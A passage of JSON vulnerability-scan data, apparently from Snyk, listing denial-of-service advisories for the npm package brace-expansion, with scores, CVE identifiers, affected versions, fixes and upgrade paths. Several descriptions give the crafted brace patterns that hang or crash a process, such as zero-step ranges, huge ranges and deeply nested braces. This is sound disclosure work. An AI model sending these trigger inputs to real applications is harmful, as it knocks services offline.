"assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to 